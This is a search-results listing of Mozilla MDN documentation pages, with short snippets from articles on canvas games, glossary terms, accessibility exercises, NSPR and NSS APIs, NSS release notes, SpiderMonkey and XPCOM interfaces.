this article covers how to implement static square tilemaps using the canvas api.
... note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...this is the atlas we will be using as an example, which features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
...And 6 more matches
asm.js - Game development
asm.js is a specification defining a subset of javascript that is highly optimizable.
... this article looks at exactly what is permitted in the asm.js subset, what improvements it confers, where and how you can make use of it, and further resources and examples.
...it does not allow objects, strings, closures, and basically anything that requires heap allocation.
...And 6 more matches
2D breakout game using pure JavaScript - Game development
next » in this step-by-step tutorial we create a simple mdn breakout game written entirely in pure javascript and rendered on html5 <canvas>.
... every step has editable, live samples available to play with so you can see what the intermediate stages should look like.
... you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states.
...And 6 more matches
API - MDN Web Docs Glossary: Definitions of Web-related terms
an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
... the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware.
...methods, properties, events, and urls) that a developer can use in their apps for interacting with components of a user's web browser, or other software/hardware on the user's computer, or third party websites and services.
...And 6 more matches
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
a value having the data type symbol can be referred to as a "symbol value".
... in a javascript runtime environment, a symbol value is created by invoking the function symbol, which dynamically produces an anonymous, unique value.
... symbol can have an optional description, but for debugging purposes only.
...And 6 more matches
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
each unit capable of executing code is called a thread.
... the main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical web page or app.
... because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang.
...And 6 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
glossary of terms a abstraction accessibility accessibility tree (aom) adobe flash ajax algorithm alignment container alignment subject alpha (alpha channel) alpn api apple safari application context argument aria arpa arpanet array ascii asynchronous atag attribute b bandwidth base64 baseline beacon bézier curve bidi bigint blink block block (css) block (scripting) block cipher...
... mode of operation boolean boot2gecko bootstrap bounding box breadcrumb brotli browser browsing context buffer c cache cacheable caldav call stack callback function canonical order canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting codec compile compi...
...tographic hash function cryptography csp csrf css css object model (cssom) css pixel css preprocessor d data structure decryption delta denial of service descriptor (css) deserialization developer tools dhtml digest digital certificate distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic ...
...And 6 more matches
Test your skills: CSS and JavaScript accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list.
...clicking one of the animal names causes a further description of that animal to appear in a box below the list.
...And 6 more matches
Test your skills: HTML accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...you need to: semantically associate the input with their labels.
... the fourth link goes to a word document, so the user will need some kind of application installed that can handle that.
...And 6 more matches
Test your skills: Images and Form elements - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...we want the image to scale down to fit inside the box without any extra white space, but we do not mind if some part of the image is cropped.
... in the example below see if you can match the image above.
...And 6 more matches
CSS selectors - Learn web development
in css, selectors are defined in the css selectors specification; like any other part of css they need to have support in browsers for them to work.
... the majority of selectors that you will come across are defined in the level 3 selectors specification, which is a mature specification, therefore you will find excellent browser support for these selectors.
... selector lists if you have more than one thing which uses the same css then the individual selectors can be combined into a selector list so that the rule is applied to all of the individual selectors.
...And 6 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... basic setup you can download the html, css, and a set of six images here.
... if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well.
...And 6 more matches
Test your skills: Media Queries and Responsive Design - Learn web development
this aim of this task is to get you working with responsive web design with a practical task.
...download the code and work locally, or use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...you can drag your window smaller or use the responsive design view in firefox devtools to view this as if on a phone.
...And 6 more matches
Using CSS generated content - Learn web development
this article describes some ways in which you can use css to add content when a document is displayed.
...you can specify text or image content within a stylesheet when that content is closely linked to the document's structure.
... specifying content in a stylesheet can cause complications.
...And 6 more matches
CSS property compatibility table for form controls - Learn web development
due to the complexity of css and html forms, these tables can't be considered a perfect reference.
... however, they will give you good insight into what can and can't be done, which will help you learn how to do things.
...you may still face strange side effects in certain edge cases.
...And 6 more matches
Mozilla splash page - Learn web development
save the contents of index.html in a file called index.html on your local drive, in a new directory.
...the following subsections detail what you need to do: preparing images using your favourite image editor, create 400px wide and 120px wide versions of: firefox_logo-only_rgb.png firefox-addons.jpg mozilla-dinosaur-head.png call them something sensible, e.g.
... next, create a 1200px wide landscape version of red-panda.jpg, and a 600px wide portrait version that shows the panda in more of a close up shot.
...And 6 more matches
Test your skills: Events - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... events 1 in our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change back when it is clicked again.
...And 6 more matches
Multimedia: video - Learn web development
compress all videos most video compression work compares adjacent frames within a video, with the intent of removing detail that is identical in both frames.
...there are some compression algorithms that can make video look (bad) like an animated gif.
... see caniuse.com for current browser support of video and other media types.
...And 6 more matches
Links and Resources
wai - web accessibility initiative web content accessibility guidelines (wcag) 1.0 the first set of official guidelines from the w3c web accessibility initiative (wai).
... online accessibility validators there are now a few available and excellent online accessibility validators which check single webpages according to checkpoints of wcag guidelines and then reports errors or warnings.
... webxact™ from watchfire® corporation webxact™ is a free and complete online accessibility validation service that can test single pages for quality, accessibility and privacy issues.
...And 6 more matches
Limitations of frame scripts
security restrictions on file access processes that host remote content are isolated from the local system through a content security sandbox.
... one of the functions of the sandbox is to restrict access to the local file system by processes that host remote content.
...therefore frame scripts should not attempt to access the local file system directly, as these calls will fail.
...And 6 more matches
AsyncShutdown.jsm
typically, each shutdown phase removes some capabilities from the application.
...failing to inform the system of this requirement can (and has been known to) cause data loss.
...// collect any information that may be useful for debugging shutdown issues with this blocker return status; } }); in this example, at some point during phase profilebeforechange, function condition will be called.
...And 6 more matches
OS.File.Info
instances of os.file.info represent file metadata, such as the size of the file, its last modification date, etc.
... instances of os.file.info may be obtained by: calling global method os.file.stat() either from the main thread or from a worker thread; calling instance method stat() of os.file either from the main thread or from a worker thread.
...stat(somepath); promise.then( function onsuccess(info) { // |info| is an instance of |os.file.info| if (info.isdir) { // |somepath| represents a directory } else if (info.issymlink) { // |somepath| represents a symbolic link } else { // |somepath| represents a regular file } }, function onfailure(reason) { if (reason instanceof os.file.error && reason.becausenosuchfile) { // |somepath| does not represent anything } else { // some other error } } ) example: determining the owner of a file let promise = os.file.stat() promise.then( function onsuccess(info) { if ("unixowner" in info) { // info.unixowner holds the owner of the file } else { // information is not available on this platform } } ); ...
...And 6 more matches
Promise.jsm
if you need a deferred, because you want to create a promise and manually resolve or reject it, consider using promiseutils.jsm instead.
...internally, a promise can be in one of three states: pending, when the final value is not available yet.
... a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api.
...And 6 more matches
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
...recording can be done by clicking on the toolbar icon to open its panel.
...when it runs out of space in its buffer, it discards old entries so you may want to increase the buffer size if you find you are unable to capture the profile quickly enough after you notice a performance problem.
...And 6 more matches
powermetrics
the following is example output from such an invocation: *** sampled system activity (fri sep 4 17:15:14 2015 +1000) (5009.63ms elapsed) *** *** running tasks *** name id cpu ms/s user% deadlines (<2 ms, 2-5 ms) wakeups (intr, pkg idle) gpu ms/s com.apple.terminal 293 447.66 274.83 120.35 221.74 firefox 84627 77...
...the sum of the process values typically exceeds the coalition value slightly, for unknown reasons.
...high frequency timers, which typically have short time-to-deadlines, can cause high power consumption and should be avoided if possible.
...And 6 more matches
Date and Time
nspr represents time in two ways, absolute time and clock/calendar time.
...a time instant is represented by its position on the time line relative to the origin, called the epoch.
... clock/calendar time, used for human interfaces, represents time in the familiar year, month, day, hour, minute, second components.
...And 6 more matches
Logging
you can select events to be logged by module or level.
...a level is a numeric value that indicates the seriousness of the event to be logged.
... you can combine module and level criteria to get highly selective logging.
...And 6 more matches
PRThreadScope
syntax #include <prthread.h> typedef enum prthreadscope { pr_local_thread, pr_global_thread pr_global_bound_thread } prthreadscope; enumerators pr_local_thread a local thread, scheduled locally by nspr within the process.
... pr_global_bound_thread a global bound (kernel) thread, scheduled by the host os description an enumerator of type prthreadscope specifies how a thread is scheduled: either locally by nspr within the process (a local thread) or globally by the host (a global thread).
...they are subject to fairly sophisticated scheduling techniques.
...And 6 more matches
PR_JoinThread
blocks the calling thread until a specified thread terminates.
... returns the function returns one of the following values: if successful, pr_success if unsuccessful--for example, if no joinable thread can be found that corresponds to the specified target thread, or if the target thread is unjoinable--pr_failure.
...the function is synchronous in that it blocks the calling thread until the target thread is in a joinable state.
...And 6 more matches
PR_NormalizeTime
adjusts the fields of a clock/calendar time to their proper ranges, using a callback function.
... syntax #include <prtime.h> void pr_normalizetime ( prexplodedtime *time, prtimeparamfn params); parameters the function has these parameters: time a pointer to a clock/calendar time in the prexplodedtime format.
... params a time parameter callback function.
...And 6 more matches
PR_Open
in most cases, only one of the first three flags may be used.
... if the flags parameter does not include any of the first three flags (pr_rdonly, pr_wronly, or pr_rdwr), the open file can't be read or written, which is not useful.
...thus they cannot be used in javascript, you have to use the octal constants (see file i/o snippets).
...And 6 more matches
PR_PushIOLayer
description a file descriptor for a layer (possibly allocated using pr_createiolayerstub) may be pushed onto an existing stack of file descriptors at any time.
... even if the id parameter indicates the topmost layer of the stack, the value of the file descriptor describing the original stack will not change.
... caution keeping the pointer to the stack even as layers are pushed onto the top of the stack is accomplished by swapping the contents of the file descriptor being pushed and the stack's current top layer file descriptor.
...And 6 more matches
Threads
threads are critical resources and therefore require some management.
... to synchronize the termination of a thread, you can join it with another thread (see pr_jointhread).
...it is the caller's responsibility to ensure that the thread is valid.
...And 6 more matches
Introduction to Network Security Services
network security services (nss) is a set of libraries designed to support cross-platform development of communications applications that support ssl, s/mime, and other internet security standards.
...applications that use the shared libraries must use only the apis that they export.
... we guarantee that applications using the exported apis will remain compatible with future versions of those libraries.
...And 6 more matches
4.3 Release Notes
release date: 01 april 2009 introduction network security services for java (jss) 4.3 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new in jss 4.3 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3 requires nss 3.12 or higher.
... new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
...And 6 more matches
Using JSS
MozillaProjectsNSSJSSUsing JSS
gather components setup your runtime environment initialize jss in your application gather components you need the jss classes and the nspr, nss, and jss shared libraries.
...jss version 3.0 linked statically with nss, so it only required nspr.
... jss versions 3.1 and later link dynamically with nss, so they also require the nss shared libraries.
...And 6 more matches
JSS
MozillaProjectsNSSJSS
the jss project has been relocated!
... legacy jss information can still be found at: source: https://hg.mozilla.org/projects/jss issues: https://bugzilla.mozilla.org/buglist.cgi?product=jss wiki: /docs/mozilla/projects/nss/jss network security services for java (jss) is a java interface to nss.
...you might want to use jss's own ssl classes if you want to use some of the capabilities found in nss's ssl/tls library but not found in jsse.
...And 6 more matches
NSS 3.16.2 release notes
the tls application layer protocol negotiation (alpn) extension is also supported on the server side.
... new functions in cert.h ​cert_addextensionbyoid - adds an extension to a certificate.
... new macros in sslerr.h ssl_error_next_protocol_no_callback - an ssl error code that means the next protcol negotiation extension was enabled, but the callback was cleared prior to being needed.
...And 6 more matches
NSS 3.16 release notes
it just verifies the signature, assuming that the certificate has been verified already.
...- cipher suites that were first defined in ssl 3.0 can now be referred to with their official iana names in tls, with the tls_ prefix.
... bug 903885: (cve-2014-1492) in a wildcard certificate, the wildcard character should not be embedded within the u-label of an internationalized domain name.
...And 6 more matches
NSS 3.27 release notes
nss 3.27 requires netscape portable runtime (nspr) 4.13 or newer.
... although the maximum tls version enabled by default is still tls 1.2, there are applications that query the list of tls protocol versions supported by nss, and enable all supported versions.
... for those applications, updating to nss 3.27 may result in tls 1.3 (draft) to be enabled.
...And 6 more matches
NSS 3.30 release notes
nss 3.30 requires netscape portable runtime (nspr); 4.13.1 or newer.
... nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/ new in nss 3.30 new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a new boolean attribute, cka_nss_mozilla_ca_policy, set to true.
... applications that need to distinguish them from other other root cas, may use the exported function pk11_hasattributeset.
...And 6 more matches
NSS 3.32 release notes
nss 3.32 requires netscape portable runtime (nspr) 4.16, or newer.
... the code signing trust bit was turned off for all, included root certificates.
... the websites (tls/ssl) trust bit was turned off for the following root certificates.
...And 6 more matches
NSS 3.45 release notes
new in nss 3.45 new functionality new functions in pk11pub.h: pk11_findrawcertswithsubject - finds all certificates on the given slot with the given subject distinguished name and returns them as der bytes.
... if no such certificates can be found, returns secsuccess and sets *results to null.
... if a failure is encountered while fetching any of the matching certificates, secfailure is returned and *results will be null.
...And 6 more matches
NSS 3.55 release notes
with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanisms.
... known issues on some platforms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make.
...if this affects you, please help us narrow down the cause in bug 1653975.
...And 6 more matches
NSS reference
the proposed chapters below are based on the chapters of the ssl reference and the categories of functions in nss public functions.
... building and installing nss overview of an nss application based on "overview of an ssl application" in the ssl reference.
... certificate functions based on certificate functions in the ssl reference and "certificate functions" in nss public functions.
...And 6 more matches
NSS Tools
nss security tools newsgroup: mozilla.dev.tech.crypto overview the nss security tools allow developers to test, debug, and manage applications that use nss.
... overall objectives provide a tool for analyzing and repairing certificate databases (dbck).
... eliminate use of getopt() and replace with nspr calls to get command options (to eliminate platform dependencies with getopt()).
...And 6 more matches
Rhino shell
deserialize(filename) restore from the specified file an object previously written by a call to serialize.
...the new function synchronizes on the this object of its invocation.
...if an argument is supplied, it is expected to be one of 100, 110, 120, 130, 140, 150, 160 or 170 to indicate javascript version 1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6 or 1.7 respectively.
...And 6 more matches
Creating JavaScript tests
(in fact, the test262 test suite is run as part of jstests.) practical differences between the two test suites: jstest new jstest files should be put the code in the appropriate subdirectory of js/src/tests/non262/, or, under some scenarios, contributed directly to the test262 repository.
... jstests run in both the shell and the browser (although you can specify that the test should be run in only one of the two locations).
... jstests automatically load js/src/tests/shell.js before they run, which creates a ton of functions.
...And 6 more matches
JSObjectOps.dropProperty
the jsobjectops.dropproperty callback releases a jsproperty.
... syntax typedef void (*jspropertyrefop)(jscontext *cx, jsobject *obj, jsproperty *prop); name type description cx jscontext * a context that was the cx argument to an earlier call to jsobjectops.lookupproperty that found a property.
... description the following contract governs jsobjectops callers and implementations: whenever jsobjectops.lookupproperty returns a jsproperty pointer, the property is locked.
...And 6 more matches
JS_BeginRequest
indicates to the js engine that the calling thread is entering a region of code that may call into the jsapi but does not block.
... syntax void js_beginrequest(jscontext *cx); void js_endrequest(jscontext *cx); name type description cx jscontext * the context in which the calling thread intends to call jsapi functions.
... description when your multithreaded application wants to use a jscontext, it must use js_beginrequest and js_endrequest to bracket maximal non-blocking hunks of native code that call the jsapi.
...And 6 more matches
JS_DumpNamedRoots
data void * a pointer that is passed to dump each time it is called.
... description each call to js_addnamedroot creates a record in a table of named roots maintained by the garbage collector.
... js_dumpnamedroots provides a way for the application to access the contents of that table.
...And 6 more matches
JS_EncodeCharacters
this can be obtained with js_getstringchars.
...the caller is responsible for allocating and freeing this buffer.
...if spidermonkey was built with js_c_strings_are_utf8 defined or js_setcstringsareutf8 was called, the string is converted to utf-8.
...And 6 more matches
JS_IterateCompartments
this article covers features introduced in spidermonkey 17 iterate over compartments and call the specified callback function on every compartment.
... syntax void js_iteratecompartments(jsruntime *rt, void *data, jsiteratecompartmentcallback compartmentcallback); name type description cx jsruntime * the runtime of the compartments to iterate over.
... data void * this will be passed as the data parameter of the jsiteratecompartmentcallback.
...And 6 more matches
JS_LookupProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_lookupucproperty) the length of name in characters; or -1 to indicate that name is null-terminated.
... if neither obj nor any of its prototypes have such a property, *vp receives undefined and the return value is true (to indicate no error occurred).
...And 6 more matches
JS_SetOptions
this is the logical or of zero or more flags described below.
...to turn individual options on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants from the following table: option description jsoption_extra_warnings warn on dubious practice.
... mxr id search for jsoption_private_is_nsisupports jsoption_compile_n_go caller of js_compilescript et al promises to execute the compiled script once only, in the same scope object used for compilation.
...And 6 more matches
SpiderMonkey 17
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202).
...spidermonkey 17 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things.
...And 6 more matches
TPS Bookmark Lists
the properties for this object include the uri, title, loadinsidebar, description, tags, keyword properties above, plus two additional properties: location: the full path of the folder that the bookmark should be moved to position: the title of the existing bookmark item, in the current folder, where this bookmark should be moved to (i.e., this bookmark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { uri: "http://www.google.com", title: ...
...the properties for this object include the livemark, siteuri, feeduri properties above, plus two additional properties: location: the full path of the folder that the livemark should be moved to position: the title of the existing bookmark item, in the current folder, where this livemark should be moved to (i.e., this livemark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { livemark: "livemarkone", feeduri: "ht...
...the properties for this object include the folder, description properties above, plus two additional properties: location: the full path of the folder that this folder should be moved to position: the title of the existing bookmark item, in the current folder, where this folder should be moved to (i.e., this folder would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below this folder) example: { folder: "folderb", changes: { location: "m...
...And 6 more matches
Fun With XBL and XPConnect
introduction this article describes an application of xbl in which a simple xpcom interface is made accessible to a xul widget.
...once the regular xul textfield widget is bound to this interface, it calls the auto complete function of the object using regular javascript.
... <binding name="autocomplete" extends="xul:box"> <content> <xul:textfield class="addressingwidget"/> <xul:menupopup/> </content> <implementation> <property name="autocompletesession"> <![cdata[ components.classes['component://netscape/messenger/autocomplete&type=addrbook'].
...And 6 more matches
Components.Constructor
summary creates a javascript function which can be used to create or construct new instances of xpcom components.
... syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...(this benefit is also partly a result of having to travel through the layer between the javascript engine and xpcom fewer times.) the behavior of functions returned by components.constructor() varies depending upon the arguments given to components.constructor() when called.
...And 6 more matches
Components.lastResult
components.lastresult returns the numeric nsresult code that was the result code of the last xpcom method called via xpconnect.
... introduction generally, components.lastresult is only useful for testing the result of xpcom methods that can return interesting 'success' codes.
... this is because failure result codes get converted by xpconnect into exceptions that are thrown into the calling javascript method.
...And 6 more matches
Components.utils
if the parameter is passed, the runnable will be dispatch in the compartment of the parameter, which affects which error reporter gets called.
... exportfunction() export a javascript function from a more-privileged to a less-privileged scope, allowing it to be called in the less-privileged scope.
... getcomponentsforscope() this seemingly-paradoxical api allows privileged code to explicitly give unprivileged code a reference to its own components object (whereas it's normally hidden away on a scope chain visible only to xbl methods).
...And 6 more matches
XPCShell Reference
you can specify multiple js files to execute by using multiple -f arguments, and the scripts will be executed in the order encountered.
... -w (lower case) this option turns on javascript warnings.
... -w (upper case) this turns off javascript warnings.
...And 6 more matches
NS_InitXPCOM2
« xpcom api reference summary the ns_initxpcom2 function initiates use of xpcom in the calling process.
... #include "nsxpcom.h" nsresult ns_initxpcom2( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider ); parameters aresult [out] the resulting xpcom service manager.
...the service manager may alternatively be accessed by calling ns_getservicemanager.
...And 6 more matches
Realloc
« xpcom api reference summary the realloc function reallocates a block of memory to a new size.
... static void* realloc( void* aptr, size_t asize ); parameters aptr [in] the address of the memory block to reallocate.
... this may be nsnull, in which case realloc behaves like nsmemory::alloc.
...And 6 more matches
imgIEncoder
post-multiplied alpha us used (for example 50% transparent red is 0xff000080) input_format_hostargb 2 input is host-endian argb: on big-endian machines each pixel is therefore argb, and for little-endian machiens (intel) each pixel is bgra (this is used by canvas to match it's internal representation) pre-multiplied alpha is used (that is, 50% transparent red is 0x80800000, not 0x80ff0000) possible values for outputoptions.
... apng: ----- the following options can be used with startimageencode(): transparency=[yes|no|none] -- default: "yes" overrides default from input format.
... the following options can be used for each frame, with addimageframe(): transparency=[yes|no|none] -- default: "yes" overrides default from input format.
...And 6 more matches
imgILoader
imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener); boolean supportimagewithmimetype(in string mimetype); constants constant value description load_cors_anonymous 1 << 16 load_cors_use_credentials 1 << 17 methods loadima...
...imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load.
...cachekey arequest a newly created, unused imgirequest object or null for one to be created for you.
...And 6 more matches
nsIAccessNode
when accessibility is active in gecko, every dom node can have one nsiaccessnode.
... uniqueid voidptr a unique id calculated for this dom node, for the purposes of caching and referencing this object.
... exceptions thrown ns_error_failure indicates that the access node is unattached from the accessible tree.
...And 6 more matches
nsIAccessibleHyperLink
note: renamed from anchors in gecko 1.9 exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... note: aria links can only be focused if they have the tabindex attribute set.
...And 6 more matches
nsIAccessibleRelation
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: be carefull, do not change constants until atk has a structure to map gecko constants into atk constants.
...if the accessible has an nsiaccessible.name() , you can get the nsiaccessible that it was labelled by in order to get more formatting information.
... note: the label and description (see relation_described_by) relations may be used to prevent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
...And 6 more matches
nsIClassInfo
classid nscidptr a classid through which an instance of this class can be created, or null.
... if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getservice().
... classidnoalloc nscid a classid through which an instance of this class can be created, or null.
...And 6 more matches
nsIDOMFontFace
it's returned in a list you can get using inidomutils.getusedfontfaces().
... attributes font source attributes these attributes indicate how the font was found during the font matching process.
... note: the same physical font may have been found in multiple ways within a range.
...And 6 more matches
nsIDOMMozNetworkStatsManager
if the object exists, you can use the network statistics service.
... you can test for the presence of the service as follows, for example: if ("moznetworkstats" in navigator) { /* networkstats is available */ } else { alert("i'm sorry, but networkstats services are not supported."); } method overview nsidomdomrequest getsamples(in nsisupports network, in jsval start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); nsidomdomrequest addalarm(in nsisupports network, in long threshold, [optional] in jsval options /* networkstatsalarmoptions */); nsidomdomrequest getallalarms([optional] in nsisupports network); nsidomdomrequest removealarms([...
...it can specify wifi, mobile, or null.
...And 6 more matches
nsIDOMWindow
66 introduced gecko 1.0 deprecated gecko 44 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting with firefox 44, this file is empty as its features were either no longer used or are only available from c++ code; see dom/base/nspidomwindow.h for those.
...t, [optional] in domstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif, in long yscrolldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrollto(in long xscroll, in long yscroll); void sizetocontent(); attributes attribute type description applicationcache nsidomofflineresourcelist get the application cache object for this window.
... localstorage nsidomstorage local storage for the current browsing context.
...And 6 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated.
... methods native code only!dragmoved programmatically changes the drag position of the drag session.
...this is called when an external drag occurs.
...And 6 more matches
nsIEditor
ansaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document info and file methods void resetmodificationcount(); long getmodificationcount(); void incrementmodificationcount(in long amodcount); void incrementmodificationcount(in long amodcount); transaction methods void dotransaction(in nsitransaction txn); void enableundo(in boolean enable); void undo(in unsigned long count); void canundo(out boolean isenabled, out boolean ...
...canundo); void redo(in unsigned long count); void canredo(out boolean isenabled, out boolean canredo); void begintransaction(); void endtransaction(); void beginplaceholdertransaction(in nsiatom name); void endplaceholdertransaction(); boolean shouldtxnsetselection(); void setshouldtxnsetselection(in boolean should); inline spellchecking methods nsiinlinespellchecker getinlinespellchecker(in boolean autocreate); void syncrealtimespell(); void setspellcheckuseroverride(in boolean enable); clipboard methods void cut(); boolean cancut(); void copy(); boolean cancopy(); void paste(in long aselectiontype); boolean canpaste(in lo...
...ng aselectiontype); selection methods void selectall(); void beginningofdocument(); void endofdocument(); drag/drop methods boolean candrag(in nsidomevent aevent); void dodrag(in nsidomevent aevent); void insertfromdrop(in nsidomevent aevent); node manipulation methods void setattribute(in nsidomelement aelement, in astring attributestr,in astring attvalue); boolean getattributevalue(in nsidomelement aelement, in astring attributestr, out astring resultvalue); void removeattribute(in nsidomelement aelement, in astring aattribute); void cloneattribute(in astring aattribute, in nsidomnode asourcenode); void cloneattributes(in nsidomnode destnode, in nsidomnode sourcenod...
...And 6 more matches
nsIEventListenerService
content/events/public/nsieventlistenerservice.idlscriptable a service that can be used to get a list of listeners observing events; this is primarily useful for debuggers.
...id getlistenerinfofor(in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsieventlistenerinfo aoutarray); boolean haslistenersfor(in nsidomeventtarget aeventtarget, in domstring atype); void addsystemeventlistener(in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture); void removesystemeventlistener(in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture); attributes attribute type description systemeventgroup nsidomeventgroup returns system event group.
... obsolete since gecko 7.0 methods geteventtargetchainfor() returns an array of event targets indicating all the targets that will receive the same events that are delivered to the specified target.
...And 6 more matches
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscriptable this interface represents a single atom or rss (really simple syndication) news feed.
... 1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed.
... enclosurecount long indicates the number of enclosures associated with a feed.
...And 6 more matches
nsILoadGroup
each time a number of requests are added to a group, the defaultloadrequest may be set to indicate that all of the requests are related to a base request.
... notificationcallbacks nsiinterfacerequestor notification callbacks for the load group.
...this will cause the default load flags to be applied to the request.
...And 6 more matches
nsIMemoryReporterManager
); void registerreporter(in nsimemoryreporter reporter); void unregistermultireporter(in nsimemorymultireporter reporter); void unregisterreporter(in nsimemoryreporter reporter); attributes attribute type description explicit print64 gets the total size of explicit memory allocations, both at the operating system level (for example, via mmap, virtualalloc) and at the heap level (for example, via malloc(), calloc(), operator new).
